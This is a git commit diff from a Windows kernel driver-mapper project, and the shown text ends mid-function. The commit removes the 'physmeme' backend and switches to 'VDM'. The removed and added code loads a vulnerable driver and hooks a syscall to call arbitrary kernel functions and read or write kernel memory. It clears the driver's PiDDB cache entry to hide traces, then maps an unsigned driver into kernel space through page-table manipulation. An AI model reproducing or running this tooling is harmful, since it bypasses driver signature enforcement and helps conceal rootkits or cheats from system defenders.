removed physmeme and replaced it with VDM :^)

merge-requests/5/head v1.3
xerox 4 years ago
parent 11217828b8
commit e40d0af25c

@ -11,68 +11,24 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "drv-example", "drv-example\
EndProject EndProject
Global Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|ARM = Debug|ARM
Debug|ARM64 = Debug|ARM64
Debug|x64 = Debug|x64 Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|ARM = Release|ARM
Release|ARM64 = Release|ARM64
Release|x64 = Release|x64 Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution GlobalSection(ProjectConfigurationPlatforms) = postSolution
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Debug|ARM.ActiveCfg = Debug|ARM
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Debug|ARM.Build.0 = Debug|ARM
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Debug|ARM64.ActiveCfg = Debug|ARM64
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Debug|ARM64.Build.0 = Debug|ARM64
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Debug|x64.ActiveCfg = Debug|x64 {A72CD068-E350-41C9-A4E5-DC7810575EA2}.Debug|x64.ActiveCfg = Debug|x64
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Debug|x64.Build.0 = Debug|x64 {A72CD068-E350-41C9-A4E5-DC7810575EA2}.Debug|x64.Build.0 = Debug|x64
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Debug|x86.ActiveCfg = Debug|Win32
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Debug|x86.Build.0 = Debug|Win32
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Release|ARM.ActiveCfg = Release|ARM
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Release|ARM.Build.0 = Release|ARM
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Release|ARM64.ActiveCfg = Release|ARM64
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Release|ARM64.Build.0 = Release|ARM64
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Release|x64.ActiveCfg = Release|x64 {A72CD068-E350-41C9-A4E5-DC7810575EA2}.Release|x64.ActiveCfg = Release|x64
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Release|x64.Build.0 = Release|x64 {A72CD068-E350-41C9-A4E5-DC7810575EA2}.Release|x64.Build.0 = Release|x64
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Release|x86.ActiveCfg = Release|Win32
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Release|x86.Build.0 = Release|Win32
{44064ACC-9743-4DC6-84AA-B4E2A3D8BF4D}.Debug|ARM.ActiveCfg = Debug|Win32
{44064ACC-9743-4DC6-84AA-B4E2A3D8BF4D}.Debug|ARM64.ActiveCfg = Debug|Win32
{44064ACC-9743-4DC6-84AA-B4E2A3D8BF4D}.Debug|x64.ActiveCfg = Debug|x64 {44064ACC-9743-4DC6-84AA-B4E2A3D8BF4D}.Debug|x64.ActiveCfg = Debug|x64
{44064ACC-9743-4DC6-84AA-B4E2A3D8BF4D}.Debug|x64.Build.0 = Debug|x64 {44064ACC-9743-4DC6-84AA-B4E2A3D8BF4D}.Debug|x64.Build.0 = Debug|x64
{44064ACC-9743-4DC6-84AA-B4E2A3D8BF4D}.Debug|x86.ActiveCfg = Debug|Win32
{44064ACC-9743-4DC6-84AA-B4E2A3D8BF4D}.Debug|x86.Build.0 = Debug|Win32
{44064ACC-9743-4DC6-84AA-B4E2A3D8BF4D}.Release|ARM.ActiveCfg = Release|Win32
{44064ACC-9743-4DC6-84AA-B4E2A3D8BF4D}.Release|ARM64.ActiveCfg = Release|Win32
{44064ACC-9743-4DC6-84AA-B4E2A3D8BF4D}.Release|x64.ActiveCfg = Release|x64 {44064ACC-9743-4DC6-84AA-B4E2A3D8BF4D}.Release|x64.ActiveCfg = Release|x64
{44064ACC-9743-4DC6-84AA-B4E2A3D8BF4D}.Release|x64.Build.0 = Release|x64 {44064ACC-9743-4DC6-84AA-B4E2A3D8BF4D}.Release|x64.Build.0 = Release|x64
{44064ACC-9743-4DC6-84AA-B4E2A3D8BF4D}.Release|x86.ActiveCfg = Release|Win32
{44064ACC-9743-4DC6-84AA-B4E2A3D8BF4D}.Release|x86.Build.0 = Release|Win32
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Debug|ARM.ActiveCfg = Debug|ARM
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Debug|ARM.Build.0 = Debug|ARM
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Debug|ARM.Deploy.0 = Debug|ARM
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Debug|ARM64.ActiveCfg = Debug|ARM64
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Debug|ARM64.Build.0 = Debug|ARM64
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Debug|ARM64.Deploy.0 = Debug|ARM64
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Debug|x64.ActiveCfg = Debug|x64 {AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Debug|x64.ActiveCfg = Debug|x64
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Debug|x64.Build.0 = Debug|x64 {AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Debug|x64.Build.0 = Debug|x64
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Debug|x64.Deploy.0 = Debug|x64 {AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Debug|x64.Deploy.0 = Debug|x64
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Debug|x86.ActiveCfg = Debug|Win32
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Debug|x86.Build.0 = Debug|Win32
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Debug|x86.Deploy.0 = Debug|Win32
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Release|ARM.ActiveCfg = Release|ARM
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Release|ARM.Build.0 = Release|ARM
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Release|ARM.Deploy.0 = Release|ARM
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Release|ARM64.ActiveCfg = Release|ARM64
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Release|ARM64.Build.0 = Release|ARM64
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Release|ARM64.Deploy.0 = Release|ARM64
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Release|x64.ActiveCfg = Release|x64 {AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Release|x64.ActiveCfg = Release|x64
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Release|x64.Build.0 = Release|x64 {AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Release|x64.Build.0 = Release|x64
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Release|x64.Deploy.0 = Release|x64 {AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Release|x64.Deploy.0 = Release|x64
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Release|x86.ActiveCfg = Release|Win32
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Release|x86.Build.0 = Release|Win32
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Release|x86.Deploy.0 = Release|Win32
EndGlobalSection EndGlobalSection
GlobalSection(SolutionProperties) = preSolution GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE HideSolutionNode = FALSE

@ -1,367 +0,0 @@
#include "kernel_ctx.h"
namespace physmeme
{
kernel_ctx::kernel_ctx()
{
if (psyscall_func.load() || nt_page_offset || ntoskrnl_buffer)
return;
ntoskrnl_buffer = reinterpret_cast<std::uint8_t*>(
LoadLibraryExA(
"ntoskrnl.exe",
NULL,
DONT_RESOLVE_DLL_REFERENCES
));
nt_rva = reinterpret_cast<std::uint32_t>(
util::get_module_export(
"ntoskrnl.exe",
syscall_hook.first.data(),
true
));
nt_page_offset = nt_rva % PAGE_SIZE;
std::vector<std::thread> search_threads;
//--- for each physical memory range, make a thread to search it
for (auto ranges : util::pmem_ranges)
search_threads.emplace_back(std::thread(
&kernel_ctx::map_syscall,
this,
ranges.first,
ranges.second
));
for (std::thread& search_thread : search_threads)
search_thread.join();
}
void kernel_ctx::map_syscall(std::uintptr_t begin, std::uintptr_t end) const
{
//if the physical memory range is less then or equal to 2mb
if (begin + end <= 0x1000 * 512)
{
auto page_va = physmeme::map_phys(begin + nt_page_offset, end);
if (page_va)
{
// scan every page of the physical memory range
for (auto page = page_va; page < page_va + end; page += 0x1000)
{
if (!is_page_found.load()) // keep scanning until its found
{
__try
{
if (!memcmp(reinterpret_cast<void*>(page), ntoskrnl_buffer + nt_rva, 32))
{
//
// this checks to ensure that the syscall does indeed work. if it doesnt, we keep looking!
//
psyscall_func.store((void*)page);
auto my_proc_base = reinterpret_cast<std::uintptr_t>(GetModuleHandleA(NULL));
auto my_proc_base_from_syscall = reinterpret_cast<std::uintptr_t>(get_proc_base(GetCurrentProcessId()));
if (my_proc_base != my_proc_base_from_syscall)
continue;
is_page_found.store(true);
return;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {}
}
}
physmeme::unmap_phys(page_va, end);
}
}
else // else the range is bigger then 2mb
{
auto remainder = (begin + end) % (0x1000 * 512);
// loop over 2m chunks
for (auto range = begin; range < begin + end; range += 0x1000 * 512)
{
auto page_va = physmeme::map_phys(range + nt_page_offset, 0x1000 * 512);
if (page_va)
{
// loop every page of 2mbs (512)
for (auto page = page_va; page < page_va + 0x1000 * 512; page += 0x1000)
{
if (!is_page_found.load())
{
__try
{
if (!memcmp(reinterpret_cast<void*>(page), ntoskrnl_buffer + nt_rva, 32))
{
//
// this checks to ensure that the syscall does indeed work. if it doesnt, we keep looking!
//
psyscall_func.store((void*)page);
auto my_proc_base = reinterpret_cast<std::uintptr_t>(GetModuleHandle(NULL));
auto my_proc_base_from_syscall = reinterpret_cast<std::uintptr_t>(get_proc_base(GetCurrentProcessId()));
if (my_proc_base != my_proc_base_from_syscall)
continue;
is_page_found.store(true);
return;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {}
}
}
physmeme::unmap_phys(page_va, 0x1000 * 512);
}
}
// map the remainder and check each page of it
auto page_va = physmeme::map_phys(begin + end - remainder + nt_page_offset, remainder);
if (page_va)
{
for (auto page = page_va; page < page_va + remainder; page += 0x1000)
{
if (!is_page_found.load())
{
__try
{
if (!memcmp(reinterpret_cast<void*>(page), ntoskrnl_buffer + nt_rva, 32))
{
//
// this checks to ensure that the syscall does indeed work. if it doesnt, we keep looking!
//
psyscall_func.store((void*)page);
auto my_proc_base = reinterpret_cast<std::uintptr_t>(GetModuleHandle(NULL));
auto my_proc_base_from_syscall = reinterpret_cast<std::uintptr_t>(get_proc_base(GetCurrentProcessId()));
if (my_proc_base != my_proc_base_from_syscall)
continue;
is_page_found.store(true);
return;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {}
}
}
physmeme::unmap_phys(page_va, remainder);
}
}
}
PEPROCESS kernel_ctx::get_peprocess(DWORD pid) const
{
if (!pid)
return NULL;
PEPROCESS proc;
static auto get_peprocess_from_pid =
util::get_module_export(
"ntoskrnl.exe",
"PsLookupProcessByProcessId"
);
syscall<PsLookupProcessByProcessId>(
get_peprocess_from_pid,
(HANDLE)pid,
&proc
);
return proc;
}
void* kernel_ctx::get_proc_base(unsigned pid) const
{
if (!pid)
return {};
const auto peproc = get_peprocess(pid);
if (!peproc)
return {};
static auto get_section_base =
util::get_module_export(
"ntoskrnl.exe",
"PsGetProcessSectionBaseAddress"
);
return syscall<PsGetProcessSectionBaseAddress>(
get_section_base,
peproc
);
}
void kernel_ctx::rkm(void* buffer, void* address, std::size_t size)
{
if (!buffer || !address || !size)
return;
size_t amount_copied;
static auto mm_copy_memory =
util::get_module_export(
"ntoskrnl.exe",
"memcpy"
);
if (mm_copy_memory)
syscall<decltype(&memcpy)>(
mm_copy_memory,
buffer,
address,
size
);
}
void kernel_ctx::wkm(void* buffer, void* address, std::size_t size)
{
if (!buffer || !address || !size)
return;
size_t amount_copied;
static auto mm_copy_memory =
util::get_module_export(
"ntoskrnl.exe",
"memcpy"
);
if (mm_copy_memory)
syscall<decltype(&memcpy)>(
mm_copy_memory,
address,
buffer,
size
);
}
void* kernel_ctx::get_physical(void* virt_addr)
{
if (!virt_addr)
return NULL;
static auto mm_get_physical =
util::get_module_export(
"ntoskrnl.exe",
"MmGetPhysicalAddress"
);
return syscall<MmGetPhysicalAddress>(
mm_get_physical,
virt_addr
);
}
void* kernel_ctx::get_virtual(void* addr)
{
if (!addr)
return NULL;
static auto mm_get_virtual =
util::get_module_export(
"ntoskrnl.exe",
"MmGetVirtualForPhysical"
);
PHYSICAL_ADDRESS phys_addr;
memcpy(&phys_addr, &addr, sizeof(addr));
return syscall<MmGetVirtualForPhysical>(
mm_get_virtual,
phys_addr
);
}
bool kernel_ctx::clear_piddb_cache(const std::string& file_name, const std::uint32_t timestamp)
{
static const auto piddb_lock =
util::memory::get_piddb_lock();
static const auto piddb_table =
util::memory::get_piddb_table();
if (!piddb_lock || !piddb_table)
return false;
static const auto ex_acquire_resource =
util::get_module_export(
"ntoskrnl.exe",
"ExAcquireResourceExclusiveLite"
);
static const auto lookup_element_table =
util::get_module_export(
"ntoskrnl.exe",
"RtlLookupElementGenericTableAvl"
);
static const auto release_resource =
util::get_module_export(
"ntoskrnl.exe",
"ExReleaseResourceLite"
);
static const auto delete_table_entry =
util::get_module_export(
"ntoskrnl.exe",
"RtlDeleteElementGenericTableAvl"
);
if (!ex_acquire_resource || !lookup_element_table || !release_resource)
return false;
PiDDBCacheEntry cache_entry;
const auto drv_name = std::wstring(file_name.begin(), file_name.end());
cache_entry.time_stamp = timestamp;
RtlInitUnicodeString(&cache_entry.driver_name, drv_name.data());
//
// ExAcquireResourceExclusiveLite
//
if (!syscall<ExAcquireResourceExclusiveLite>(ex_acquire_resource, piddb_lock, true))
return false;
//
// RtlLookupElementGenericTableAvl
//
PIDCacheobj* found_entry_ptr =
syscall<RtlLookupElementGenericTableAvl>(
lookup_element_table,
piddb_table,
reinterpret_cast<void*>(&cache_entry)
);
if (found_entry_ptr)
{
//
// unlink entry.
//
PIDCacheobj found_entry = rkm<PIDCacheobj>(found_entry_ptr);
LIST_ENTRY NextEntry = rkm<LIST_ENTRY>(found_entry.list.Flink);
LIST_ENTRY PrevEntry = rkm<LIST_ENTRY>(found_entry.list.Blink);
PrevEntry.Flink = found_entry.list.Flink;
NextEntry.Blink = found_entry.list.Blink;
wkm<LIST_ENTRY>(found_entry.list.Blink, PrevEntry);
wkm<LIST_ENTRY>(found_entry.list.Flink, NextEntry);
//
// delete entry.
//
syscall<RtlDeleteElementGenericTableAvl>(delete_table_entry, piddb_table, found_entry_ptr);
//
// ensure the entry is 0
//
auto result = syscall<RtlLookupElementGenericTableAvl>(
lookup_element_table,
piddb_table,
reinterpret_cast<void*>(&cache_entry)
);
syscall<ExReleaseResourceLite>(release_resource, piddb_lock);
return !result;
}
syscall<ExReleaseResourceLite>(release_resource, piddb_lock);
return false;
}
}

@ -1,127 +0,0 @@
#pragma once
#include <thread>
#include "../util/util.hpp"
#include "../physmeme/physmeme.hpp"
#include "../util/hook.hpp"
namespace physmeme
{
//
// offset of function into a physical page
// used for comparing bytes when searching
//
inline std::uint16_t nt_page_offset{};
//
// rva of nt function we are going to hook
//
inline std::uint32_t nt_rva{};
//
// base address of ntoskrnl (inside of this process)
//
inline const std::uint8_t* ntoskrnl_buffer{};
//
// has the page been found yet?
//
inline std::atomic<bool> is_page_found = false;
//
// mapping of a syscalls physical memory (for installing hooks)
//
inline std::atomic<void*> psyscall_func{};
//
// you can edit this how you choose, im hooking NtShutdownSystem.
//
inline const std::pair<std::string_view, std::string_view> syscall_hook = { "NtShutdownSystem", "ntdll.dll" };
class kernel_ctx
{
friend class mem_ctx;
public:
kernel_ctx();
//
// read kernel memory into buffer
//
void rkm(void* buffer, void* address, std::size_t size);
//
// write kernel memory from buffer
//
void wkm(void* buffer, void* address, std::size_t size);
template <class T>
T rkm(void* addr)
{
if (!addr)
return {};
T buffer;
rkm((void*)&buffer, addr, sizeof(T));
return buffer;
}
template <class T>
void wkm(void* addr, const T& data)
{
if (!addr)
return;
wkm((void*)&data, addr, sizeof(T));
}
//
// gets physical address from virtual
//
void* get_physical(void* virt_addr);
//
// uses the pfn database to get the virtual address
//
void* get_virtual(void* virt_addr);
//
// use this to call any function in the kernel
//
template <class T, class ... Ts>
std::invoke_result_t<T, Ts...> syscall(void* addr, Ts ... args) const
{
static const auto proc =
GetProcAddress(
GetModuleHandleA(syscall_hook.second.data()),
syscall_hook.first.data()
);
if (!proc || !psyscall_func || !addr)
return {};
hook::make_hook(psyscall_func, addr);
auto result = reinterpret_cast<T>(proc)(args ...);
hook::remove(psyscall_func);
return result;
}
//
// clear piddb cache of a specific driver
//
bool clear_piddb_cache(const std::string& file_name, const std::uint32_t timestamp);
private:
//
// find and map the physical page of a syscall into this process
//
void map_syscall(std::uintptr_t begin, std::uintptr_t end) const;
//
// get a pointer to an eprocess given process id.
//
PEPROCESS get_peprocess(DWORD pid) const;
//
// get base address of process (used to compare and ensure we find the right page).
//
void* get_proc_base(unsigned pid) const;
};
}

@ -1,48 +1,41 @@
#include "map_driver.hpp" #include "map_driver.hpp"
#include "mapper_ctx/mapper_ctx.hpp" #include "mapper_ctx/mapper_ctx.hpp"
#include "kernel_ctx/kernel_ctx.h" #include "vdm_ctx/vdm_ctx.h"
#include "vdm/vdm.hpp"
namespace mapper namespace mapper
{ {
std::pair<mapper_error, void*> map_driver(std::uint8_t* drv_image, std::size_t image_size, void** entry_data) auto map_driver(std::uint8_t* drv_image, std::size_t image_size, void** entry_data) -> std::pair<mapper_error, void*>
{ {
std::vector<std::uint8_t> drv_buffer(drv_image, image_size + drv_image); std::vector<std::uint8_t> drv_buffer(drv_image, image_size + drv_image);
if (!drv_buffer.size()) if (!drv_buffer.size())
return { mapper_error::image_invalid, nullptr }; return { mapper_error::image_invalid, nullptr };
if (!physmeme::load_drv()) const auto [drv_handle, drv_key] = vdm::load_drv();
if (drv_handle == INVALID_HANDLE_VALUE || drv_key.empty())
return { mapper_error::load_error, nullptr }; return { mapper_error::load_error, nullptr };
physmeme::kernel_ctx kernel; const auto runtime_broker_pid =
util::start_runtime_broker();
// after we setup the kernel_ctx we dont need any driver loaded anymore...
if (!physmeme::unload_drv())
return { mapper_error::unload_error, nullptr };
// clear piddb cache of the loaded vuln driver...
if (!kernel.clear_piddb_cache(physmeme::drv_key, util::get_file_header((void*)raw_driver)->TimeDateStamp))
return { mapper_error::piddb_fail, nullptr };
// start a runtime broker suspended...
const auto runtime_broker_pid = util::start_runtime_broker();
if (!runtime_broker_pid) if (!runtime_broker_pid)
return { mapper_error::failed_to_create_proc, nullptr }; return { mapper_error::failed_to_create_proc, nullptr };
physmeme::mem_ctx my_proc(kernel, GetCurrentProcessId()); vdm::vdm_ctx v_ctx;
physmeme::mem_ctx runtime_broker(kernel, runtime_broker_pid); nasa::mem_ctx my_proc(v_ctx, GetCurrentProcessId());
physmeme::mapper_ctx mapper(my_proc, runtime_broker); nasa::mem_ctx runtime_broker(v_ctx, runtime_broker_pid);
nasa::mapper_ctx mapper(my_proc, runtime_broker);
// allocate the driver in the suspended runtime broker and expose it to this process...
const auto [drv_base, drv_entry] = mapper.map(drv_buffer); const auto [drv_base, drv_entry] = mapper.map(drv_buffer);
if (!drv_base || !drv_entry) if (!drv_base || !drv_entry)
return { mapper_error::init_failed, nullptr }; return { mapper_error::init_failed, nullptr };
mapper.call_entry(drv_entry, entry_data); mapper.call_entry(drv_entry, entry_data);
// mem_ctx destructors need to be called before kernel_ctx destructors... if (!vdm::unload_drv(drv_handle, drv_key))
my_proc.~mem_ctx(); return { mapper_error::unload_error, nullptr };
runtime_broker.~mem_ctx();
return { mapper_error::error_success, drv_base }; return { mapper_error::error_success, drv_base };
} }
} }

@ -1,36 +1,46 @@
#include "mapper_ctx.hpp" #include "mapper_ctx.hpp"
namespace physmeme namespace nasa
{ {
mapper_ctx::mapper_ctx mapper_ctx::mapper_ctx
( (
physmeme::mem_ctx& map_into, nasa::mem_ctx& map_into,
physmeme::mem_ctx& map_from nasa::mem_ctx& map_from
) )
: :
map_into(map_into), map_into(map_into),
map_from(map_from), map_from(map_from),
pml4_idx(0) pml4_idx(0)
{ {
// find an empty pml4e location... const auto map_into_pml4 =
for (auto idx = 256u; idx > 0u; --idx) reinterpret_cast<ppml4e>(
if (!map_into.k_ctx->rkm<pml4e>(map_into.k_ctx->get_virtual( map_into.set_page(map_into.get_dirbase()));
(reinterpret_cast<::ppml4e>(map_into.get_dirbase()) + idx))).present)
this->pml4_idx = idx; // look for an empty pml4e...
for (auto idx = 0u; idx < 256; ++idx)
{
if (!map_into_pml4[idx].value)
{
this->pml4_idx = idx;
break;
}
}
} }
std::pair<void*, void*> mapper_ctx::map(std::vector<std::uint8_t>& raw_image) auto mapper_ctx::map(std::vector<std::uint8_t>& raw_image) -> std::pair<void*, void*>
{ {
const auto [drv_alloc, drv_entry_addr] = allocate_driver(raw_image); const auto [drv_alloc, drv_entry_addr] = allocate_driver(raw_image);
auto [drv_ppml4e, drv_pml4e] = map_from.get_pml4e(drv_alloc); auto [drv_ppml4e, drv_pml4e] = map_from.get_pml4e(drv_alloc);
while (!SwitchToThread());
make_kernel_access(drv_alloc); make_kernel_access(drv_alloc);
map_from.set_pml4e(drv_ppml4e, pml4e{ NULL }); map_from.set_pml4e(drv_ppml4e, pml4e{ NULL });
while (!SwitchToThread());
drv_pml4e.nx = false; drv_pml4e.nx = false;
drv_pml4e.user_supervisor = false; drv_pml4e.user_supervisor = false;
map_into.write_phys(reinterpret_cast<ppml4e*>( map_into.write_phys(reinterpret_cast<ppml4e>(
map_into.get_dirbase()) + this->pml4_idx, drv_pml4e); map_into.get_dirbase()) + this->pml4_idx, drv_pml4e);
virt_addr_t new_addr = { reinterpret_cast<void*>(drv_alloc) }; virt_addr_t new_addr = { reinterpret_cast<void*>(drv_alloc) };
@ -38,25 +48,14 @@ namespace physmeme
return { new_addr.value, drv_entry_addr }; return { new_addr.value, drv_entry_addr };
} }
bool mapper_ctx::call_entry(void* drv_entry, void** hook_handler) const void mapper_ctx::call_entry(void* drv_entry, void** hook_handler) const
{ {
const auto result = map_into.k_ctx->syscall<NTSTATUS(__fastcall*)(void**)>(drv_entry, hook_handler); map_into.v_ctx->syscall<NTSTATUS(__fastcall*)(void**)>(drv_entry, hook_handler);
return !result;
} }
std::pair<void*, void*> mapper_ctx::allocate_driver(std::vector<std::uint8_t>& raw_image) auto mapper_ctx::allocate_driver(std::vector<std::uint8_t>& raw_image) -> std::pair<void*, void*>
{ {
const auto _get_module = [&](std::string_view name) nasa::pe_image drv_image(raw_image);
{
return util::get_module_base(name.data());
};
const auto _get_export_name = [&](const char* base, const char* name)
{
return reinterpret_cast<std::uintptr_t>(util::get_module_export(base, name));
};
physmeme::pe_image drv_image(raw_image);
const auto process_handle = const auto process_handle =
OpenProcess( OpenProcess(
PROCESS_ALL_ACCESS, PROCESS_ALL_ACCESS,
@ -67,9 +66,16 @@ namespace physmeme
if (!process_handle) if (!process_handle)
return {}; return {};
drv_image.fix_imports(_get_module, _get_export_name); drv_image.fix_imports([&](const char* module_name, const char* export_name)
drv_image.map(); {
return reinterpret_cast<std::uintptr_t>(
util::get_kmodule_export(
module_name,
export_name
));
});
drv_image.map();
const auto drv_alloc_base = const auto drv_alloc_base =
reinterpret_cast<std::uintptr_t>( reinterpret_cast<std::uintptr_t>(
VirtualAllocEx( VirtualAllocEx(

@ -1,23 +1,19 @@
#include "../mem_ctx/mem_ctx.hpp" #include "../mem_ctx/mem_ctx.hpp"
#include "../pe_image/pe_image.h" #include "../pe_image/pe_image.h"
namespace physmeme namespace nasa
{ {
class mapper_ctx class mapper_ctx
{ {
public: public:
explicit mapper_ctx explicit mapper_ctx(nasa::mem_ctx& map_into, nasa::mem_ctx& map_from);
( auto map(std::vector<std::uint8_t>& raw_image)->std::pair<void*, void*>;
physmeme::mem_ctx& map_into, void call_entry(void* drv_entry, void** hook_handler) const;
physmeme::mem_ctx& map_from
);
std::pair<void*, void*> map(std::vector<std::uint8_t>& raw_image);
bool call_entry(void* drv_entry, void** hook_handler) const;
private: private:
std::uint16_t pml4_idx; std::uint16_t pml4_idx;
std::pair<void*, void*> allocate_driver(std::vector<std::uint8_t>& raw_image); auto allocate_driver(std::vector<std::uint8_t>& raw_image)->std::pair<void*, void*>;
void make_kernel_access(void* drv_base); void make_kernel_access(void* drv_base);
physmeme::mem_ctx map_into; nasa::mem_ctx map_into, map_from;
physmeme::mem_ctx map_from;
}; };
} }

@ -1,16 +1,20 @@
#include "mem_ctx.hpp" #include "mem_ctx.hpp"
namespace physmeme namespace nasa
{ {
mem_ctx::mem_ctx(kernel_ctx& krnl_ctx, DWORD pid) mem_ctx::mem_ctx(vdm::vdm_ctx& v_ctx, DWORD pid)
: :
k_ctx(&krnl_ctx), v_ctx(&v_ctx),
dirbase(get_dirbase(krnl_ctx, pid)), dirbase(get_dirbase(v_ctx, pid)),
pid(pid) pid(pid)
{ {
// find an empty pml4e... // find an empty pml4e inside of current processes pml4...
const auto current_pml4 =
v_ctx.get_virtual(reinterpret_cast<std::uintptr_t>(
get_dirbase(v_ctx, GetCurrentProcessId())));
for (auto idx = 100u; idx > 0u; --idx) for (auto idx = 100u; idx > 0u; --idx)
if (!k_ctx->rkm<pml4e>(k_ctx->get_virtual((reinterpret_cast<::ppml4e>(get_dirbase()) + idx))).present) if (!v_ctx.rkm<pml4e>(current_pml4 + (idx * sizeof pml4e)).value)
this->pml4e_index = idx; this->pml4e_index = idx;
// allocate a pdpt // allocate a pdpt
@ -18,12 +22,12 @@ namespace physmeme
reinterpret_cast<ppdpte>( reinterpret_cast<ppdpte>(
VirtualAlloc( VirtualAlloc(
NULL, NULL,
PAGE_SIZE, PAGE_4KB,
MEM_COMMIT | MEM_RESERVE, MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE PAGE_READWRITE
)); ));
PAGE_IN(this->new_pdpt.second, PAGE_SIZE); PAGE_IN(this->new_pdpt.second, PAGE_4KB);
// get page table entries for new pdpt // get page table entries for new pdpt
pt_entries new_pdpt_entries; pt_entries new_pdpt_entries;
hyperspace_entries(new_pdpt_entries, new_pdpt.second); hyperspace_entries(new_pdpt_entries, new_pdpt.second);
@ -40,34 +44,29 @@ namespace physmeme
reinterpret_cast<ppde>( reinterpret_cast<ppde>(
VirtualAlloc( VirtualAlloc(
NULL, NULL,
PAGE_SIZE, PAGE_4KB,
MEM_COMMIT | MEM_RESERVE, MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE PAGE_READWRITE
)); ));
PAGE_IN(this->new_pd.second, PAGE_SIZE);
// PAGE_IN(this->new_pd.second, PAGE_4KB);
// get paging table entries for pd // get paging table entries for pd
//
pt_entries new_pd_entries; pt_entries new_pd_entries;
hyperspace_entries( hyperspace_entries(new_pd_entries, this->new_pd.second);
new_pd_entries,
this->new_pd.second
);
this->new_pd.first = reinterpret_cast<ppde>(new_pd_entries.pt.second.pfn << 12); this->new_pd.first = reinterpret_cast<ppde>(new_pd_entries.pt.second.pfn << 12);
//
// make a new pt // make a new pt
//
this->new_pt.second = this->new_pt.second =
reinterpret_cast<ppte>( reinterpret_cast<ppte>(
VirtualAlloc( VirtualAlloc(
NULL, NULL,
PAGE_SIZE, PAGE_4KB,
MEM_COMMIT | MEM_RESERVE, MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE PAGE_READWRITE
)); ));
PAGE_IN(this->new_pt.second, PAGE_SIZE);
PAGE_IN(this->new_pt.second, PAGE_4KB);
// get paging table entries for pt // get paging table entries for pt
pt_entries new_pt_entries; pt_entries new_pt_entries;
@ -150,13 +149,13 @@ namespace physmeme
return new_addr.value; return new_addr.value;
} }
void* mem_ctx::get_dirbase(kernel_ctx& k_ctx, DWORD pid) void* mem_ctx::get_dirbase(vdm::vdm_ctx& v_ctx, DWORD pid)
{ {
const auto peproc = const auto peproc =
reinterpret_cast<std::uint64_t>(k_ctx.get_peprocess(pid)); reinterpret_cast<std::uint64_t>(v_ctx.get_peprocess(pid));
pte dirbase = k_ctx.rkm<pte>( const auto dirbase =
reinterpret_cast<void*>(peproc + 0x28)); v_ctx.rkm<pte>(peproc + 0x28);
return reinterpret_cast<void*>(dirbase.pfn << 12); return reinterpret_cast<void*>(dirbase.pfn << 12);
} }
@ -168,39 +167,34 @@ namespace physmeme
virt_addr_t virt_addr{ addr }; virt_addr_t virt_addr{ addr };
entries.pml4.first = reinterpret_cast<ppml4e>(dirbase) + virt_addr.pml4_index; entries.pml4.first = reinterpret_cast<ppml4e>(dirbase) + virt_addr.pml4_index;
entries.pml4.second = k_ctx->rkm<pml4e>( entries.pml4.second = v_ctx->rkm<pml4e>(
k_ctx->get_virtual(entries.pml4.first)); v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(entries.pml4.first)));
if (!entries.pml4.second.value) if (!entries.pml4.second.value)
return false; return false;
